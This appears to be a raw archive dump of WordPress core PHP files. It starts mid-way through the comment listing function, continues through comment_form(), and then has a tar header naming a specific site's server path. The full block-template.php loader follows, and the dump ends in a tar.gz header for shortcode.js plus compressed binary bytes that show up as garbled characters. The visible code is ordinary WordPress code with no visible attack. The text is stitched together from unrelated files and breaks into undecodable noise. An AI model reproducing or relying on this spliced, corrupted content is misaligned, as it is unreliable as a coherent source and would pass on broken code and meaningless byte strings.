					$unapproved_email = wp_get_unapproved_comment_author_email();

					if ( $unapproved_email ) {
						$comment_args['include_unapproved'] = array( $unapproved_email );
					}
				}

				$comments = get_comments( $comment_args );

				if ( 'all' !== $parsed_args['type'] ) {
					$comments_by_type = separate_comments( $comments );
					if ( empty( $comments_by_type[ $parsed_args['type'] ] ) ) {
						return;
					}

					$_comments = $comments_by_type[ $parsed_args['type'] ];
				} else {
					$_comments = $comments;
				}
			}

			// Otherwise, fall back on the comments from `$wp_query->comments`.
		} else {
			if ( empty( $wp_query->comments ) ) {
				return;
			}
			if ( 'all' !== $parsed_args['type'] ) {
				if ( empty( $wp_query->comments_by_type ) ) {
					$wp_query->comments_by_type = separate_comments( $wp_query->comments );
				}
				if ( empty( $wp_query->comments_by_type[ $parsed_args['type'] ] ) ) {
					return;
				}
				$_comments = $wp_query->comments_by_type[ $parsed_args['type'] ];
			} else {
				$_comments = $wp_query->comments;
			}

			if ( $wp_query->max_num_comment_pages ) {
				$default_comments_page = get_option( 'default_comments_page' );
				$cpage                 = (int) get_query_var( 'cpage' );

				if ( 'newest' === $default_comments_page ) {
					$parsed_args['cpage'] = $cpage;
				} elseif ( 1 === $cpage ) {
					/*
					 * When the first page shows the oldest comments,
					 * post permalink is the same as the comment permalink.
					 */
					$parsed_args['cpage'] = '';
				} else {
					$parsed_args['cpage'] = $cpage;
				}

				$parsed_args['page']     = 0;
				$parsed_args['per_page'] = 0;
			}
		}
	}

	if ( '' === $parsed_args['per_page'] && get_option( 'page_comments' ) ) {
		$parsed_args['per_page'] = get_query_var( 'comments_per_page' );
	}

	if ( empty( $parsed_args['per_page'] ) ) {
		$parsed_args['per_page'] = 0;
		$parsed_args['page']     = 0;
	}

	if ( '' === $parsed_args['max_depth'] ) {
		if ( get_option( 'thread_comments' ) ) {
			$parsed_args['max_depth'] = get_option( 'thread_comments_depth' );
		} else {
			$parsed_args['max_depth'] = -1;
		}
	}

	if ( '' === $parsed_args['page'] ) {
		if ( empty( $overridden_cpage ) ) {
			$parsed_args['page'] = get_query_var( 'cpage' );
		} else {
			$threaded            = ( -1 !== (int) $parsed_args['max_depth'] );
			$parsed_args['page'] = ( 'newest' === get_option( 'default_comments_page' ) ) ? get_comment_pages_count( $_comments, $parsed_args['per_page'], $threaded ) : 1;
			set_query_var( 'cpage', $parsed_args['page'] );
		}
	}

	// Validation check.
	$parsed_args['page']     = (int) $parsed_args['page'];
	$parsed_args['per_page'] = (int) $parsed_args['per_page'];
	if ( 0 === $parsed_args['page'] && 0 !== $parsed_args['per_page'] ) {
		$parsed_args['page'] = 1;
	}

	if ( null === $parsed_args['reverse_top_level'] ) {
		$parsed_args['reverse_top_level'] = ( 'desc' === get_option( 'comment_order' ) );
	}

	if ( empty( $parsed_args['walker'] ) ) {
		$walker = new Walker_Comment();
	} else {
		$walker = $parsed_args['walker'];
	}

	$output = $walker->paged_walk( $_comments, $parsed_args['max_depth'], $parsed_args['page'], $parsed_args['per_page'], $parsed_args );

	$in_comment_loop = false;

	if ( $parsed_args['echo'] ) {
		echo $output;
	} else {
		return $output;
	}
}

/**
 * Outputs a complete commenting form for use within a template.
 *
 * Most strings and form fields may be controlled through the `$args` array passed
 * into the function, while you may also choose to use the {@see 'comment_form_default_fields'}
 * filter to modify the array of default fields if you'd just like to add a new
 * one or remove a single field. All fields are also individually passed through
 * a filter of the {@see 'comment_form_field_$name'} where `$name` is the key used
 * in the array of fields.
 *
 * @since 3.0.0
 * @since 4.1.0 Introduced the 'class_submit' argument.
 * @since 4.2.0 Introduced the 'submit_button' and 'submit_fields' arguments.
 * @since 4.4.0 Introduced the 'class_form', 'title_reply_before', 'title_reply_after',
 *              'cancel_reply_before', and 'cancel_reply_after' arguments.
 * @since 4.5.0 The 'author', 'email', and 'url' form fields are limited to 245, 100,
 *              and 200 characters, respectively.
 * @since 4.6.0 Introduced the 'action' argument.
 * @since 4.9.6 Introduced the 'cookies' default comment field.
 * @since 5.5.0 Introduced the 'class_container' argument.
 * @since 6.8.2 Introduced the 'novalidate' argument.
 *
 * @param array       $args {
 *     Optional. Default arguments and form fields to override.
 *
 *     @type array $fields {
 *         Default comment fields, filterable by default via the {@see 'comment_form_default_fields'} hook.
 *
 *         @type string $author  Comment author field HTML.
 *         @type string $email   Comment author email field HTML.
 *         @type string $url     Comment author URL field HTML.
 *         @type string $cookies Comment cookie opt-in field HTML.
 *     }
 *     @type string $comment_field        The comment textarea field HTML.
 *     @type string $must_log_in          HTML element for a 'must be logged in to comment' message.
 *     @type string $logged_in_as         The HTML for the 'logged in as [user]' message, the Edit profile link,
 *                                        and the Log out link.
 *     @type string $comment_notes_before HTML element for a message displayed before the comment fields
 *                                        if the user is not logged in.
 *                                        Default 'Your email address will not be published.'.
 *     @type string $comment_notes_after  HTML element for a message displayed after the textarea field.
 *     @type string $action               The comment form element action attribute. Default '/wp-comments-post.php'.
 *     @type bool   $novalidate           Whether the novalidate attribute is added to the comment form. Default false.
 *     @type string $id_form              The comment form element id attribute. Default 'commentform'.
 *     @type string $id_submit            The comment submit element id attribute. Default 'submit'.
 *     @type string $class_container      The comment form container class attribute. Default 'comment-respond'.
 *     @type string $class_form           The comment form element class attribute. Default 'comment-form'.
 *     @type string $class_submit         The comment submit element class attribute. Default 'submit'.
 *     @type string $name_submit          The comment submit element name attribute. Default 'submit'.
 *     @type string $title_reply          The translatable 'reply' button label. Default 'Leave a Reply'.
 *     @type string $title_reply_to       The translatable 'reply-to' button label. Default 'Leave a Reply to %s',
 *                                        where %s is the author of the comment being replied to.
 *     @type string $title_reply_before   HTML displayed before the comment form title.
 *                                        Default: '<h3 id="reply-title" class="comment-reply-title">'.
 *     @type string $title_reply_after    HTML displayed after the comment form title.
 *                                        Default: '</h3>'.
 *     @type string $cancel_reply_before  HTML displayed before the cancel reply link.
 *     @type string $cancel_reply_after   HTML displayed after the cancel reply link.
 *     @type string $cancel_reply_link    The translatable 'cancel reply' button label. Default 'Cancel reply'.
 *     @type string $label_submit         The translatable 'submit' button label. Default 'Post a comment'.
 *     @type string $submit_button        HTML format for the Submit button.
 *                                        Default: '<input name="%1$s" type="submit" id="%2$s" class="%3$s" value="%4$s" />'.
 *     @type string $submit_field         HTML format for the markup surrounding the Submit button and comment hidden
 *                                        fields. Default: '<p class="form-submit">%1$s %2$s</p>', where %1$s is the
 *                                        submit button markup and %2$s is the comment hidden fields.
 *     @type string $format               The comment form format. Default 'xhtml'. Accepts 'xhtml', 'html5'.
 * }
 * @param int|WP_Post $post Optional. Post ID or WP_Post object to generate the form for. Default current post.
 */
function comment_form( $args = array(), $post = null ) {
	$post = get_post( $post );

	// Exit the function if the post is invalid or comments are closed.
	if ( ! $post || ! comments_open( $post ) ) {
		/**
		 * Fires after the comment form if comments are closed.
		 *
		 * For backward compatibility, this action also fires if comment_form()
		 * is called with an invalid post object or ID.
		 *
		 * @since 3.0.0
		 */
		do_action( 'comment_form_comments_closed' );

		return;
	}

	$post_id       = $post->ID;
	$commenter     = wp_get_current_commenter();
	$user          = wp_get_current_user();
	$user_identity = $user->exists() ? $user->display_name : '';

	$args = wp_parse_args( $args );
	if ( ! isset( $args['format'] ) ) {
		$args['format'] = current_theme_supports( 'html5', 'comment-form' ) ? 'html5' : 'xhtml';
	}

	$req   = get_option( 'require_name_email' );
	$html5 = 'html5' === $args['format'];

	// Define attributes in HTML5 or XHTML syntax.
	$required_attribute = ( $html5 ? ' required' : ' required="required"' );
	$checked_attribute  = ( $html5 ? ' checked' : ' checked="checked"' );

	// Identify required fields visually and create a message about the indicator.
	$required_indicator = ' ' . wp_required_field_indicator();
	$required_text      = ' ' . wp_required_field_message();

	$fields = array(
		'author' => sprintf(
			'<p class="comment-form-author">%s %s</p>',
			sprintf(
				'<label for="author">%s%s</label>',
				__( 'Name' ),
				( $req ? $required_indicator : '' )
			),
			sprintf(
				'<input id="author" name="author" type="text" value="%s" size="30" maxlength="245" autocomplete="name"%s />',
				esc_attr( $commenter['comment_author'] ),
				( $req ? $required_attribute : '' )
			)
		),
		'email'  => sprintf(
			'<p class="comment-form-email">%s %s</p>',
			sprintf(
				'<label for="email">%s%s</label>',
				__( 'Email' ),
				( $req ? $required_indicator : '' )
			),
			sprintf(
				'<input id="email" name="email" %s value="%s" size="30" maxlength="100" aria-describedby="email-notes" autocomplete="email"%s />',
				( $html5 ? 'type="email"' : 'type="text"' ),
				esc_attr( $commenter['comment_author_email'] ),
				( $req ? $required_attribute : '' )
			)
		),
		'url'    => sprintf(
			'<p class="comment-form-url">%s %s</p>',
			sprintf(
				'<label for="url">%s</label>',
				__( 'Website' )
			),
			sprintf(
				'<input id="url" name="url" %s value="%s" size="30" maxlength="200" autocomplete="url" />',
				( $html5 ? 'type="url"' : 'type="text"' ),
				esc_attr( $commenter['comment_author_url'] )
			)
		),
	);

	if ( has_action( 'set_comment_cookies', 'wp_set_comment_cookies' ) && get_option( 'show_comments_cookies_opt_in' ) ) {
		$consent = empty( $commenter['comment_author_email'] ) ? '' : $checked_attribute;

		$fields['cookies'] = sprintf(
			'<p class="comment-form-cookies-consent">%s %s</p>',
			sprintf(
				'<input id="wp-comment-cookies-consent" name="wp-comment-cookies-consent" type="checkbox" value="yes"%s />',
				$consent
			),
			sprintf(
				'<label for="wp-comment-cookies-consent">%s</label>',
				__( 'Save my name, email, and website in this browser for the next time I comment.' )
			)
		);

		// Ensure that the passed fields include cookies consent.
		if ( isset( $args['fields'] ) && ! isset( $args['fields']['cookies'] ) ) {
			$args['fields']['cookies'] = $fields['cookies'];
		}
	}

	/**
	 * Filters the default comment form fields.
	 *
	 * @since 3.0.0
	 *
	 * @param string[] $fields Array of the default comment fields.
	 */
	$fields = apply_filters( 'comment_form_default_fields', $fields );

	$defaults = array(
		'fields'               => $fields,
		'comment_field'        => sprintf(
			'<p class="comment-form-comment">%s %s</p>',
			sprintf(
				'<label for="comment">%s%s</label>',
				_x( 'Comment', 'noun' ),
				$required_indicator
			),
			'<textarea id="comment" name="comment" cols="45" rows="8" maxlength="65525"' . $required_attribute . '></textarea>'
		),
		'must_log_in'          => sprintf(
			'<p class="must-log-in">%s</p>',
			sprintf(
				/* translators: %s: Login URL. */
				__( 'You must be <a href="%s">logged in</a> to post a comment.' ),
				/** This filter is documented in wp-includes/link-template.php */
				wp_login_url( apply_filters( 'the_permalink', get_permalink( $post_id ), $post_id ) )
			)
		),
		'logged_in_as'         => sprintf(
			'<p class="logged-in-as">%s%s</p>',
			sprintf(
				/* translators: 1: User name, 2: Edit user link, 3: Logout URL. */
				__( 'Logged in as %1$s. <a href="%2$s">Edit your profile</a>. <a href="%3$s">Log out?</a>' ),
				$user_identity,
				get_edit_user_link(),
				/** This filter is documented in wp-includes/link-template.php */
				wp_logout_url( apply_filters( 'the_permalink', get_permalink( $post_id ), $post_id ) )
			),
			$required_text
		),
		'comment_notes_before' => sprintf(
			'<p class="comment-notes">%s%s</p>',
			sprintf(
				'<span id="email-notes">%s</span>',
				__( 'Your email address will not be published.' )
			),
			$required_text
		),
		'comment_notes_after'  => '',
		'action'               => site_url( '/wp-comments-post.php' ),
		'novalidate'           => false,
		'id_form'              => 'commentform',
		'id_submit'            => 'submit',
		'class_container'      => 'comment-respond',
		'class_form'           => 'comment-form',
		'class_submit'         => 'submit',
		'name_submit'          => 'submit',
		'title_reply'          => __( 'Leave a Reply' ),
		/* translators: %s: Author of the comment being replied to. */
		'title_reply_to'       => __( 'Leave a Reply to %s' ),
		'title_reply_before'   => '<h3 id="reply-title" class="comment-reply-title">',
		'title_reply_after'    => '</h3>',
		'cancel_reply_before'  => ' <small>',
		'cancel_reply_after'   => '</small>',
		'cancel_reply_link'    => __( 'Cancel reply' ),
		'label_submit'         => __( 'Post Comment' ),
		'submit_button'        => '<input name="%1$s" type="submit" id="%2$s" class="%3$s" value="%4$s" />',
		'submit_field'         => '<p class="form-submit">%1$s %2$s</p>',
		'format'               => 'xhtml',
	);

	/**
	 * Filters the comment form default arguments.
	 *
	 * Use {@see 'comment_form_default_fields'} to filter the comment fields.
	 *
	 * @since 3.0.0
	 *
	 * @param array $defaults The default comment form arguments.
	 */
	$args = wp_parse_args( $args, apply_filters( 'comment_form_defaults', $defaults ) );

	// Ensure that the filtered arguments contain all required default values.
	$args = array_merge( $defaults, $args );

	// Remove `aria-describedby` from the email field if there's no associated description.
	if ( isset( $args['fields']['email'] ) && ! str_contains( $args['comment_notes_before'], 'id="email-notes"' ) ) {
		$args['fields']['email'] = str_replace(
			' aria-describedby="email-notes"',
			'',
			$args['fields']['email']
		);
	}

	/**
	 * Fires before the comment form.
	 *
	 * @since 3.0.0
	 */
	do_action( 'comment_form_before' );
	?>
	<div id="respond" class="<?php echo esc_attr( $args['class_container'] ); ?>">
		<?php
		echo $args['title_reply_before'];

		comment_form_title( $args['title_reply'], $args['title_reply_to'], true, $post_id );

		if ( get_option( 'thread_comments' ) ) {
			echo $args['cancel_reply_before'];

			cancel_comment_reply_link( $args['cancel_reply_link'] );

			echo $args['cancel_reply_after'];
		}

		echo $args['title_reply_after'];

		if ( get_option( 'comment_registration' ) && ! is_user_logged_in() ) :

			echo $args['must_log_in'];
			/**
			 * Fires after the HTML-formatted 'must log in after' message in the comment form.
			 *
			 * @since 3.0.0
			 */
			do_action( 'comment_form_must_log_in_after' );

		else :

			printf(
				'<form action="%s" method="post" id="%s" class="%s"%s>',
				esc_url( $args['action'] ),
				esc_attr( $args['id_form'] ),
				esc_attr( $args['class_form'] ),
				( $args['novalidate'] ? ' novalidate' : '' )
			);

			/**
			 * Fires at the top of the comment form, inside the form tag.
			 *
			 * @since 3.0.0
			 */
			do_action( 'comment_form_top' );

			if ( is_user_logged_in() ) :

				/**
				 * Filters the 'logged in' message for the comment form for display.
				 *
				 * @since 3.0.0
				 *
				 * @param string $args_logged_in The HTML for the 'logged in as [user]' message,
				 *                               the Edit profile link, and the Log out link.
				 * @param array  $commenter      An array containing the comment author's
				 *                               username, email, and URL.
				 * @param string $user_identity  If the commenter is a registered user,
				 *                               the display name, blank otherwise.
				 */
				echo apply_filters( 'comment_form_logged_in', $args['logged_in_as'], $commenter, $user_identity );

				/**
				 * Fires after the is_user_logged_in() check in the comment form.
				 *
				 * @since 3.0.0
				 *
				 * @param array  $commenter     An array containing the comment author's
				 *                              username, email, and URL.
				 * @param string $user_identity If the commenter is a registered user,
				 *                              the display name, blank otherwise.
				 */
				do_action( 'comment_form_logged_in_after', $commenter, $user_identity );

			else :

				echo $args['comment_notes_before'];

			endif;

			// Prepare an array of all fields, including the textarea.
			$comment_fields = array( 'comment' => $args['comment_field'] ) + (array) $args['fields'];

			/**
			 * Filters the comment form fields, including the textarea.
			 *
			 * @since 4.4.0
			 *
			 * @param array $comment_fields The comment fields.
			 */
			$comment_fields = apply_filters( 'comment_form_fields', $comment_fields );

			// Get an array of field names, excluding the textarea.
			$comment_field_keys = array_diff( array_keys( $comment_fields ), array( 'comment' ) );

			// Get the first and the last field name, excluding the textarea.
			$first_field = reset( $comment_field_keys );
			$last_field  = end( $comment_field_keys );

			foreach ( $comment_fields as $name => $field ) {

				if ( 'comment' === $name ) {

					/**
					 * Filters the content of the comment textarea field for display.
					 *
					 * @since 3.0.0
					 *
					 * @param string $args_comment_field The content of the comment textarea field.
					 */
					echo apply_filters( 'comment_form_field_comment', $field );

					echo $args['comment_notes_after'];

				} elseif ( ! is_user_logged_in() ) {

					if ( $first_field === $name ) {
						/**
						 * Fires before the comment fields in the comment form, excluding the textarea.
						 *
						 * @since 3.0.0
						 */
						do_action( 'comment_form_before_fields' );
					}

					/**
					 * Filters a comment form field for display.
					 *
					 * The dynamic portion of the hook name, `$name`, refers to the name
					 * of the comment form field.
					 *
					 * Possible hook names include:
					 *
					 *  - `comment_form_field_comment`
					 *  - `comment_form_field_author`
					 *  - `comment_form_field_email`
					 *  - `comment_form_field_url`
					 *  - `comment_form_field_cookies`
					 *
					 * @since 3.0.0
					 *
					 * @param string $field The HTML-formatted output of the comment form field.
					 */
					echo apply_filters( "comment_form_field_{$name}", $field ) . "\n";

					if ( $last_field === $name ) {
						/**
						 * Fires after the comment fields in the comment form, excluding the textarea.
						 *
						 * @since 3.0.0
						 */
						do_action( 'comment_form_after_fields' );
					}
				}
			}

			$submit_button = sprintf(
				$args['submit_button'],
				esc_attr( $args['name_submit'] ),
				esc_attr( $args['id_submit'] ),
				esc_attr( $args['class_submit'] ),
				esc_attr( $args['label_submit'] )
			);

			/**
			 * Filters the submit button for the comment form to display.
			 *
			 * @since 4.2.0
			 *
			 * @param string $submit_button HTML markup for the submit button.
			 * @param array  $args          Arguments passed to comment_form().
			 */
			$submit_button = apply_filters( 'comment_form_submit_button', $submit_button, $args );

			$submit_field = sprintf(
				$args['submit_field'],
				$submit_button,
				get_comment_id_fields( $post_id )
			);

			/**
			 * Filters the submit field for the comment form to display.
			 *
			 * The submit field includes the submit button, hidden fields for the
			 * comment form, and any wrapper markup.
			 *
			 * @since 4.2.0
			 *
			 * @param string $submit_field HTML markup for the submit field.
			 * @param array  $args         Arguments passed to comment_form().
			 */
			echo apply_filters( 'comment_form_submit_field', $submit_field, $args );

			/**
			 * Fires at the bottom of the comment form, inside the closing form tag.
			 *
			 * @since 1.5.0
			 *
			 * @param int $post_id The post ID.
			 */
			do_action( 'comment_form', $post_id );

			echo '</form>';

		endif;
		?>
	</div><!-- #respond -->
	<?php

	/**
	 * Fires after the comment form.
	 *
	 * @since 3.0.0
	 */
	do_action( 'comment_form_after' );
}
14338/block-template.php.tar000064400000041000151024420100011407 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-template.php000064400000035774151024213660025010 0ustar00<?php
/**
 * Block template loader functions.
 *
 * @package WordPress
 */

/**
 * Adds necessary hooks to resolve '_wp-find-template' requests.
 *
 * @access private
 * @since 5.9.0
 */
function _add_template_loader_filters() {
	if ( isset( $_GET['_wp-find-template'] ) && current_theme_supports( 'block-templates' ) ) {
		add_action( 'pre_get_posts', '_resolve_template_for_new_post' );
	}
}

/**
 * Renders a warning screen for empty block templates.
 *
 * @since 6.8.0
 *
 * @param WP_Block_Template $block_template The block template object.
 * @return string The warning screen HTML.
 */
function wp_render_empty_block_template_warning( $block_template ) {
	wp_enqueue_style( 'wp-empty-template-alert' );
	return sprintf(
		/* translators: %1$s: Block template title. %2$s: Empty template warning message. %3$s: Edit template link. %4$s: Edit template button label. */
		'<div id="wp-empty-template-alert">
			<h2>%1$s</h2>
			<p>%2$s</p>
			<a href="%3$s" class="wp-element-button">
				%4$s
			</a>
		</div>',
		esc_html( $block_template->title ),
		__( 'This page is blank because the template is empty. You can reset or customize it in the Site Editor.' ),
		get_edit_post_link( $block_template->wp_id, 'site-editor' ),
		__( 'Edit template' )
	);
}

/**
 * Finds a block template with equal or higher specificity than a given PHP template file.
 *
 * Internally, this communicates the block content that needs to be used by the template canvas through a global variable.
 *
 * @since 5.8.0
 * @since 6.3.0 Added `$_wp_current_template_id` global for editing of current template directly from the admin bar.
 *
 * @global string $_wp_current_template_content
 * @global string $_wp_current_template_id
 *
 * @param string   $template  Path to the template. See locate_template().
 * @param string   $type      Sanitized filename without extension.
 * @param string[] $templates A list of template candidates, in descending order of priority.
 * @return string The path to the Site Editor template canvas file, or the fallback PHP template.
 */
function locate_block_template( $template, $type, array $templates ) {
	global $_wp_current_template_content, $_wp_current_template_id;

	if ( ! current_theme_supports( 'block-templates' ) ) {
		return $template;
	}

	if ( $template ) {
		/*
		 * locate_template() has found a PHP template at the path specified by $template.
		 * That means that we have a fallback candidate if we cannot find a block template
		 * with higher specificity.
		 *
		 * Thus, before looking for matching block themes, we shorten our list of candidate
		 * templates accordingly.
		 */

		// Locate the index of $template (without the theme directory path) in $templates.
		$relative_template_path = str_replace(
			array( get_stylesheet_directory() . '/', get_template_directory() . '/' ),
			'',
			$template
		);
		$index                  = array_search( $relative_template_path, $templates, true );

		// If the template hierarchy algorithm has successfully located a PHP template file,
		// we will only consider block templates with higher or equal specificity.
		$templates = array_slice( $templates, 0, $index + 1 );
	}

	$block_template = resolve_block_template( $type, $templates, $template );

	if ( $block_template ) {
		$_wp_current_template_id = $block_template->id;

		if ( empty( $block_template->content ) ) {
			if ( is_user_logged_in() ) {
				$_wp_current_template_content = wp_render_empty_block_template_warning( $block_template );
			} else {
				if ( $block_template->has_theme_file ) {
					// Show contents from theme template if user is not logged in.
					$theme_template               = _get_block_template_file( 'wp_template', $block_template->slug );
					$_wp_current_template_content = file_get_contents( $theme_template['path'] );
				} else {
					$_wp_current_template_content = $block_template->content;
				}
			}
		} elseif ( ! empty( $block_template->content ) ) {
			$_wp_current_template_content = $block_template->content;
		}
		if ( isset( $_GET['_wp-find-template'] ) ) {
			wp_send_json_success( $block_template );
		}
	} else {
		if ( $template ) {
			return $template;
		}

		if ( 'index' === $type ) {
			if ( isset( $_GET['_wp-find-template'] ) ) {
				wp_send_json_error( array( 'message' => __( 'No matching template found.' ) ) );
			}
		} else {
			return ''; // So that the template loader keeps looking for templates.
		}
	}

	// Add hooks for template canvas.
	// Add viewport meta tag.
	add_action( 'wp_head', '_block_template_viewport_meta_tag', 0 );

	// Render title tag with content, regardless of whether theme has title-tag support.
	remove_action( 'wp_head', '_wp_render_title_tag', 1 );    // Remove conditional title tag rendering...
	add_action( 'wp_head', '_block_template_render_title_tag', 1 ); // ...and make it unconditional.

	// This file will be included instead of the theme's template file.
	return ABSPATH . WPINC . '/template-canvas.php';
}

/**
 * Returns the correct 'wp_template' to render for the request template type.
 *
 * @access private
 * @since 5.8.0
 * @since 5.9.0 Added the `$fallback_template` parameter.
 *
 * @param string   $template_type      The current template type.
 * @param string[] $template_hierarchy The current template hierarchy, ordered by priority.
 * @param string   $fallback_template  A PHP fallback template to use if no matching block template is found.
 * @return WP_Block_Template|null template A template object, or null if none could be found.
 */
function resolve_block_template( $template_type, $template_hierarchy, $fallback_template ) {
	if ( ! $template_type ) {
		return null;
	}

	if ( empty( $template_hierarchy ) ) {
		$template_hierarchy = array( $template_type );
	}

	$slugs = array_map(
		'_strip_template_file_suffix',
		$template_hierarchy
	);

	// Find all potential templates 'wp_template' post matching the hierarchy.
	$query     = array(
		'slug__in' => $slugs,
	);
	$templates = get_block_templates( $query );

	// Order these templates per slug priority.
	// Build map of template slugs to their priority in the current hierarchy.
	$slug_priorities = array_flip( $slugs );

	usort(
		$templates,
		static function ( $template_a, $template_b ) use ( $slug_priorities ) {
			return $slug_priorities[ $template_a->slug ] - $slug_priorities[ $template_b->slug ];
		}
	);

	$theme_base_path        = get_stylesheet_directory() . DIRECTORY_SEPARATOR;
	$parent_theme_base_path = get_template_directory() . DIRECTORY_SEPARATOR;

	// Is the active theme a child theme, and is the PHP fallback template part of it?
	if (
		str_starts_with( $fallback_template, $theme_base_path ) &&
		! str_contains( $fallback_template, $parent_theme_base_path )
	) {
		$fallback_template_slug = substr(
			$fallback_template,
			// Starting position of slug.
			strpos( $fallback_template, $theme_base_path ) + strlen( $theme_base_path ),
			// Remove '.php' suffix.
			-4
		);

		// Is our candidate block template's slug identical to our PHP fallback template's?
		if (
			count( $templates ) &&
			$fallback_template_slug === $templates[0]->slug &&
			'theme' === $templates[0]->source
		) {
			// Unfortunately, we cannot trust $templates[0]->theme, since it will always
			// be set to the active theme's slug by _build_block_template_result_from_file(),
			// even if the block template is really coming from the active theme's parent.
			// (The reason for this is that we want it to be associated with the active theme
			// -- not its parent -- once we edit it and store it to the DB as a wp_template CPT.)
			// Instead, we use _get_block_template_file() to locate the block template file.
			$template_file = _get_block_template_file( 'wp_template', $fallback_template_slug );
			if ( $template_file && get_template() === $template_file['theme'] ) {
				// The block template is part of the parent theme, so we
				// have to give precedence to the child theme's PHP template.
				array_shift( $templates );
			}
		}
	}

	return count( $templates ) ? $templates[0] : null;
}

/**
 * Displays title tag with content, regardless of whether theme has title-tag support.
 *
 * @access private
 * @since 5.8.0
 *
 * @see _wp_render_title_tag()
 */
function _block_template_render_title_tag() {
	echo '<title>' . wp_get_document_title() . '</title>' . "\n";
}

/**
 * Returns the markup for the current template.
 *
 * @access private
 * @since 5.8.0
 *
 * @global string   $_wp_current_template_id
 * @global string   $_wp_current_template_content
 * @global WP_Embed $wp_embed                     WordPress Embed object.
 * @global WP_Query $wp_query                     WordPress Query object.
 *
 * @return string Block template markup.
 */
function get_the_block_template_html() {
	global $_wp_current_template_id, $_wp_current_template_content, $wp_embed, $wp_query;

	if ( ! $_wp_current_template_content ) {
		if ( is_user_logged_in() ) {
			return '<h1>' . esc_html__( 'No matching template found' ) . '</h1>';
		}
		return;
	}

	$content = $wp_embed->run_shortcode( $_wp_current_template_content );
	$content = $wp_embed->autoembed( $content );
	$content = shortcode_unautop( $content );
	$content = do_shortcode( $content );

	/*
	 * Most block themes omit the `core/query` and `core/post-template` blocks in their singular content templates.
	 * While this technically still works since singular content templates are always for only one post, it results in
	 * the main query loop never being entered which causes bugs in core and the plugin ecosystem.
	 *
	 * The workaround below ensures that the loop is started even for those singular templates. The while loop will by
	 * definition only go through a single iteration, i.e. `do_blocks()` is only called once. Additional safeguard
	 * checks are included to ensure the main query loop has not been tampered with and really only encompasses a
	 * single post.
	 *
	 * Even if the block template contained a `core/query` and `core/post-template` block referencing the main query
	 * loop, it would not cause errors since it would use a cloned instance and go through the same loop of a single
	 * post, within the actual main query loop.
	 *
	 * This special logic should be skipped if the current template does not come from the current theme, in which case
	 * it has been injected by a plugin by hijacking the block template loader mechanism. In that case, entirely custom
	 * logic may be applied which is unpredictable and therefore safer to omit this special handling on.
	 */
	if (
		$_wp_current_template_id &&
		str_starts_with( $_wp_current_template_id, get_stylesheet() . '//' ) &&
		is_singular() &&
		1 === $wp_query->post_count &&
		have_posts()
	) {
		while ( have_posts() ) {
			the_post();
			$content = do_blocks( $content );
		}
	} else {
		$content = do_blocks( $content );
	}

	$content = wptexturize( $content );
	$content = convert_smilies( $content );
	$content = wp_filter_content_tags( $content, 'template' );
	$content = str_replace( ']]>', ']]&gt;', $content );

	// Wrap block template in .wp-site-blocks to allow for specific descendant styles
	// (e.g. `.wp-site-blocks > *`).
	return '<div class="wp-site-blocks">' . $content . '</div>';
}

/**
 * Renders a 'viewport' meta tag.
 *
 * This is hooked into {@see 'wp_head'} to decouple its output from the default template canvas.
 *
 * @access private
 * @since 5.8.0
 */
function _block_template_viewport_meta_tag() {
	echo '<meta name="viewport" content="width=device-width, initial-scale=1" />' . "\n";
}

/**
 * Strips .php or .html suffix from template file names.
 *
 * @access private
 * @since 5.8.0
 *
 * @param string $template_file Template file name.
 * @return string Template file name without extension.
 */
function _strip_template_file_suffix( $template_file ) {
	return preg_replace( '/\.(php|html)$/', '', $template_file );
}

/**
 * Removes post details from block context when rendering a block template.
 *
 * @access private
 * @since 5.8.0
 *
 * @param array $context Default context.
 *
 * @return array Filtered context.
 */
function _block_template_render_without_post_block_context( $context ) {
	/*
	 * When loading a template directly and not through a page that resolves it,
	 * the top-level post ID and type context get set to that of the template.
	 * Templates are just the structure of a site, and they should not be available
	 * as post context because blocks like Post Content would recurse infinitely.
	 */
	if ( isset( $context['postType'] ) && 'wp_template' === $context['postType'] ) {
		unset( $context['postId'] );
		unset( $context['postType'] );
	}

	return $context;
}

/**
 * Sets the current WP_Query to return auto-draft posts.
 *
 * The auto-draft status indicates a new post, so allow the the WP_Query instance to
 * return an auto-draft post for template resolution when editing a new post.
 *
 * @access private
 * @since 5.9.0
 *
 * @param WP_Query $wp_query Current WP_Query instance, passed by reference.
 */
function _resolve_template_for_new_post( $wp_query ) {
	if ( ! $wp_query->is_main_query() ) {
		return;
	}

	remove_filter( 'pre_get_posts', '_resolve_template_for_new_post' );

	// Pages.
	$page_id = isset( $wp_query->query['page_id'] ) ? $wp_query->query['page_id'] : null;

	// Posts, including custom post types.
	$p = isset( $wp_query->query['p'] ) ? $wp_query->query['p'] : null;

	$post_id = $page_id ? $page_id : $p;
	$post    = get_post( $post_id );

	if (
		$post &&
		'auto-draft' === $post->post_status &&
		current_user_can( 'edit_post', $post->ID )
	) {
		$wp_query->set( 'post_status', 'auto-draft' );
	}
}

/**
 * Register a block template.
 *
 * @since 6.7.0
 *
 * @param string       $template_name  Template name in the form of `plugin_uri//template_name`.
 * @param array|string $args           {
 *     @type string        $title                 Optional. Title of the template as it will be shown in the Site Editor
 *                                                and other UI elements.
 *     @type string        $description           Optional. Description of the template as it will be shown in the Site
 *                                                Editor.
 *     @type string        $content               Optional. Default content of the template that will be used when the
 *                                                template is rendered or edited in the editor.
 *     @type string[]      $post_types            Optional. Array of post types to which the template should be available.
 *     @type string        $plugin                Optional. Slug of the plugin that registers the template.
 * }
 * @return WP_Block_Template|WP_Error The registered template object on success, WP_Error object on failure.
 */
function register_block_template( $template_name, $args = array() ) {
	return WP_Block_Templates_Registry::get_instance()->register( $template_name, $args );
}

/**
 * Unregister a block template.
 *
 * @since 6.7.0
 *
 * @param string $template_name Template name in the form of `plugin_uri//template_name`.
 * @return WP_Block_Template|WP_Error The unregistered template object on success, WP_Error object on failure or if the
 *                                    template doesn't exist.
 */
function unregister_block_template( $template_name ) {
	return WP_Block_Templates_Registry::get_instance()->unregister( $template_name );
}
14338/shortcode.js.js.tar.gz000064400000007147151024420100011373 0ustar00��Z[s���+6J' ,
��["GQSO�����}"Y�$l@��h&���
 i;I'̓9#�Z�={.߹,��-k�n�?���n�Je!�\&EV��J��e��L˶h�QZތ6�iV�y��j�B�Ժ���\��h�g��������ӏ����?|����߻7��ǟV5I
[�{�	?��w��]��&˳f+�m�6YY(�,kQ%�I�k���?V�Jd��Gr�<���� ���mS��x�����ё��B���Z�U^Γ\ě*�L!_e�Q�v��}VI*�<Q�dŢ�D�J\
